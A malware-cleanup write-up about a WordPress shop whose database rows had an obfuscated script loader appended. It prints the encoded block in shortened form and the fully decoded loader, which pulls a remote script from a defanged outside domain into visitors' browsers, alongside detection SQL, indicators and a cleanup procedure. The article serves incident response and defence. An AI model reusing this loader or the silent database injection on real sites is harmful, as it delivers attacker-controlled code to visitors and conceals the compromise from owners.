An external URL check reported a WordPress shop for loading a script from an unknown domain. The owner asked for a deeper review. The files turned out to be clean: WordPress core and plugin checksums matched, there was no PHP in uploads/, no mu-plugins, nothing odd in .htaccess or .user.ini, and no cron jobs.
The problem was in the database. The same 2,467-character <script> block had been appended to the end of 507 of the 588 rows in wp_posts. It was not only in pages and posts. It was in products, variations, WooCommerce orders and coupons, media attachments, revisions, menu items, Elementor templates, the oEmbed cache and the Customizer's custom CSS. Not a single post_modified date changed, so "show me what was edited recently" found nothing.
This article shows what the block does, how to find every copy with read-only SQL, and how to remove it with one hash-guarded UPDATE that cuts exactly those bytes and nothing else. Everything is sanitized: no client names, domains or IPs.
🧩 The short version
- Payload:
<script id='globalsway'>holding aString.fromCharCode(...)array andeval(t). Decoded, it adds a second script tag that loadsdescriptionscripts[.]com/steps/one.js?v=44into the visitor's browser. - Placement: one identical copy at the very end of
post_content, exactly once per row, in 507 rows across 20 post type/status combinations. - Stealth:
post_modifiedwas not touched. The newest infected row still showed its original edit date. - Extra copy: a WooCommerce analytics transient in
wp_optionscached the infected content. - Delivery layers: a page cache plugin had 46 infected pages on disk, and a Varnish layer in front of the site held more.
- Files: clean. This was a database-only infection.
🔎 What the injected block looks like
Every infected row ended with this. The middle is shortened here; the real array is about 2,400 characters of numbers:
...the legitimate content of the row ends here.<script id='globalsway'>var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41, ... ,10,125,10);eval(t);</script>
Two details make it easy to spot once you know them. First, it starts with <script id='globalsway'>, a fixed marker. Second, it is glued to whatever came before it with no line break, even in the middle of CSS. In the Customizer CSS row it sat right after a closing }:
padding-top: 10;
}<script id='globalsway'>var z =String;var t=z.fromCharCode(10,102,117,110,99,116,105,111,110, ...
That last example is harmless in practice. WordPress prints custom CSS inside <style id="wp-custom-css">, so the browser reads the script tag as broken CSS text and never runs it. But it is still the same bytes, and it still has to go.
🧬 Decoding it safely
Never paste this into a browser console. Decode it as text. Copy the block into a file in a working folder outside the website (not in public_html), then run this. It decodes fromCharCode arrays repeatedly until there are none left, because this loader nests one inside the other:
python3 - block.txt <<'EOF'
import re, sys
s = open(sys.argv[1]).read()
pat = re.compile(r'fromCharCode\(([\d,\s]+)\)')
while pat.search(s):
s = pat.sub(lambda m: '"' + ''.join(chr(int(c)) for c in m.group(1).split(',')) + '"', s)
print(s)
EOF
The decoded loader, with the domain defanged:
function isScriptLoaded(src)
{
return Boolean(document.querySelector('script[src="' + src + '"]'));
}
var bd = "https://descriptionscripts[.]com/steps/one.js?v=44";
if(isScriptLoaded(bd)===false){
var d=document;var s=d.createElement('script');
s.src=bd;
s.id='bluetrack';
if (document.currentScript) {
if(document.currentScript.parentNode!==null){
document.currentScript.parentNode.insertBefore(s, document.currentScript);
}
}
else {
if(d.getElementsByTagName('head')[0]!==null){
d.getElementsByTagName('head')[0].appendChild(s);
}
}
}
It is a small, careful loader:
isScriptLoaded()checks whether the external script is already on the page. A page that renders several infected blocks (a product, its variations, a menu, an Elementor template) still loads the remote script only once. That keeps the page from breaking and keeps the infection quiet.- The new tag gets the id
bluetrack, a different name from theglobalswayblock that created it. Searching only for one of them misses half the picture. - It inserts itself right before the current script. If that is not possible, it falls back to
<head>. - The real payload is
one.js. It is served from the remote domain and can change at any time without touching the site again. The?v=44parameter looks like a version counter.
🗂️ Where it landed: everything
The injection did not choose its targets. It went into almost every row of wp_posts, whatever the type:
- 184 attachments. For media items,
post_contentis the description, shown on attachment pages. - 136 revisions. Restoring an old revision later would bring the block straight back.
- 57 shop orders (completed, delivered, cancelled) and 11 coupons. Usually nothing renders these on the front end, but they show how blind the bulk append was.
- 41 products and variations, 19 pages and posts.
- 22 Elementor library templates, 15 template kits and 2 Elementor font entries. Templates are reused across many pages.
- 13 menu items, 6 oEmbed cache entries and 1 Customizer CSS post.
The post dates ranged from 2019 to 2026, and the post_modified values were the original ones. The block was written straight into the table, not saved through the WordPress editor, so none of the usual "recently changed" views shows it. Sorting by date is the wrong tool here. You have to search by content.
🧮 Read-only detection in SQL
Run these with the site's own database user (from wp-config.php). Replace wp_ with your table prefix. None of these change anything.
1. How many rows, and of what type?
SELECT post_type, post_status, COUNT(*) AS n,
MIN(post_date), MAX(post_modified)
FROM wp_posts
WHERE post_content LIKE '%globalsway%'
GROUP BY post_type, post_status
ORDER BY n DESC;
2. Is it one variant or several? Hash everything from the marker to the end of the row and group by that hash. One line of output means one identical block everywhere:
SELECT MD5(SUBSTRING(post_content, LOCATE('<script id=''globalsway''>', post_content))) AS h,
CHAR_LENGTH(SUBSTRING(post_content, LOCATE('<script id=''globalsway''>', post_content))) AS len,
COUNT(*) AS n
FROM wp_posts
WHERE post_content LIKE '%globalsway%'
GROUP BY h, len;
Here it returned a single line: 8e984ed6f6b9be1da1b7c4a2e89d9850, length 2467, 507 rows.
3. Is the block always at the very end? If the hash of the last 2,467 characters equals the variant hash, nothing follows the block. That is what makes a clean cut possible:
SELECT SUM(MD5(RIGHT(post_content, 2467)) = '8e984ed6f6b9be1da1b7c4a2e89d9850') AS at_end,
SUM(MD5(RIGHT(post_content, 2467)) <> '8e984ed6f6b9be1da1b7c4a2e89d9850') AS other
FROM wp_posts
WHERE post_content LIKE '%globalsway%';
4. Exactly once per row? A row with two copies needs a second pass, so check before you write anything:
SELECT (CHAR_LENGTH(post_content) - CHAR_LENGTH(REPLACE(post_content, 'globalsway', '')))
/ CHAR_LENGTH('globalsway') AS copies,
COUNT(*)
FROM wp_posts
WHERE post_content LIKE '%globalsway%'
GROUP BY copies;
5. Search the whole database, not just wp_posts. This query writes a search query for every text column in every table. Copy its output, remove the final UNION ALL, and run it:
SELECT CONCAT('SELECT ''', table_name, '.', column_name, ''' AS loc, COUNT(*) AS n FROM `',
table_name, '` WHERE `', column_name, '` LIKE ''%globalsway%'' UNION ALL')
FROM information_schema.columns
WHERE table_schema = DATABASE()
AND data_type IN ('char', 'varchar', 'tinytext', 'text', 'mediumtext', 'longtext');
Here it found exactly two places: wp_posts.post_content (507) and one row in wp_options, a WooCommerce analytics transient that had cached infected content:
SELECT option_id, option_name, CHAR_LENGTH(option_value), autoload
FROM wp_options
WHERE option_value LIKE '%globalsway%';
6. Check the live HTML too. What visitors get can differ from the database because of caching:
curl -s https://example.com/ | grep -c -E "globalsway|bluetrack|fromCharCode"
⚠️ Look-alikes you must not delete
A wide search for createElement('script') or insertBefore will also find legitimate code. On this site, a header-and-footer plugin option held a standard Facebook Pixel and a Google tag. Both build script tags the same way the loader does. A site seal snippet showed up too.
The difference is easy to see when you look at the evidence rather than the function names:
- Malicious: the same bytes in hundreds of unrelated rows, glued to the end of the content, encoded with
fromCharCode, run witheval, loading an unknown domain. - Legitimate: one copy in the place the owner configured it, readable source, a well-known vendor domain.
🧹 Cleanup that touches only the injected bytes
Order matters. Every step marked [WRITE] changes something, so the backups come first.
- [WRITE] Full database backup. Store it outside the document root and confirm it is not empty:
mysqldump -u DB_USER -p DB_NAME | gzip > ~/cleanup-evidence/db_full_$(date +%Y%m%d%H%M%S).sql.gz ls -la ~/cleanup-evidence/ - [WRITE] Evidence dump of exactly the rows you will change.
--skip-extended-insertwrites oneINSERTper row, so you can count them against the 507 from step 1:mysqldump -u DB_USER -p DB_NAME wp_posts --no-create-info --complete-insert --skip-extended-insert \ --where="post_content LIKE '%globalsway%'" > ~/cleanup-evidence/wp_posts_infected.sql grep -c '^INSERT' ~/cleanup-evidence/wp_posts_infected.sql - [WRITE] Cut the block with a hash guard. The
WHEREclause only matches rows whose last 2,467 characters are exactly the known block. Anything slightly different is left alone for manual review:
It reported 507 rows affected, which matched the count. UseUPDATE wp_posts SET post_content = LEFT(post_content, CHAR_LENGTH(post_content) - 2467) WHERE post_content LIKE '%globalsway%' AND MD5(RIGHT(post_content, 2467)) = '8e984ed6f6b9be1da1b7c4a2e89d9850';CHAR_LENGTH, notLENGTH.LENGTHcounts bytes, whileLEFTandRIGHTcount characters. On content with accented or non-Latin text, mixing the two cuts in the wrong place and corrupts the row. - [WRITE] Delete the infected transient after dumping it the same way. WordPress rebuilds transients on demand.
- [WRITE] Purge every cache layer: the page cache plugin's files (46 infected pages here), the object cache if there is one, the reverse proxy (Varnish in this case), and any CDN. Until you do, the old infected HTML is still served even though the database is clean.
- Verify. Rerun the detection queries and expect
0everywhere. Then fetch the homepage and a few product, category and page URLs from the origin and grep forglobalsway,bluetrackand the domain. Check that the pages still render normally.
Why not wp search-replace? It can work, but it means passing a 2,467-character literal with quotes in it on the command line, and it loads the site's plugins while doing so. The hash-guarded UPDATE is shorter, exact, runs inside MySQL, and cannot touch a row that does not end with that precise block.
The whole sequence in 78 seconds
This recording replays the read-only checks, the evidence dump, the hash-guarded UPDATE and the verification against a lab replica: a local MariaDB container with no network, seeded with 588 rows, 507 of them carrying an equivalent appended block. The loader URL is replaced with a non-routable placeholder, which is why the lab hash and length (1,412 characters) differ from the real ones above. The last query proves the point about CHAR_LENGTH: rows that start with Greek text end exactly where the original content ended.
🚩 Indicators
<script id='globalsway'>var z =String;var t=z.fromCharCode(at the end ofpost_content- A script element with id
bluetrackin the rendered page - Remote script
descriptionscripts[.]com/steps/one.js?v=44(defanged) - Block MD5
8e984ed6f6b9be1da1b7c4a2e89d9850, length 2,467 characters - Function name
isScriptLoadedin decodedfromCharCodecontent - Hundreds of
wp_postsrows of every post type ending in the same bytes, with unchangedpost_modifieddates - A
_transient_option holding cached page content with the same block
💡 Takeaways
- Clean files do not mean a clean site. If a scanner or browser reports an external script and the files check out, search the database by content.
- Do not trust
post_modified. A direct database write leaves the dates exactly as they were. - Search every post type, including revisions, orders, attachments and caches. Otherwise the block can return through a revision restore or a cache rebuild.
- Hash the tail before you cut. Variant count, position and copies per row decide whether a single exact
UPDATEis safe. - Back up first, cut second, purge every cache third, verify from the origin last.
❓ FAQ
Why did a file scan show nothing?
Because nothing was in the files. The loader lived only in database content, which WordPress prints into the page at render time. File checks and core checksums are still worth running, because they rule out a backdoor that could write the block again. But the payload itself was only in the database.
Can I just restore a database backup?
Only if you know the backup predates the injection, and here the row dates cannot tell you when that was. Search the backup for the marker first. On a shop, a restore also loses every order, customer and stock change since the backup was taken. Cutting the block out keeps all of that.
Do I really need to clean revisions and orders?
Yes. A revision is a full copy of the content. If someone restores it later, the block is back on the live page. Orders and other non-public rows may never render, but leaving them means the next search still finds the payload, and you cannot tell a fresh reinfection from leftovers.
The block is inside my custom CSS. Is it running there?
No. Custom CSS is printed inside a <style> element, so the browser treats the script tag as invalid CSS and ignores it. Remove it anyway, so your counts reach zero and the next check is clear.
How do I know it is gone for good?
Rerun the full-database search after a few days, and fetch a few pages from the origin with caches bypassed. If the count stays at zero and the files still pass their checksums, nothing is writing it back.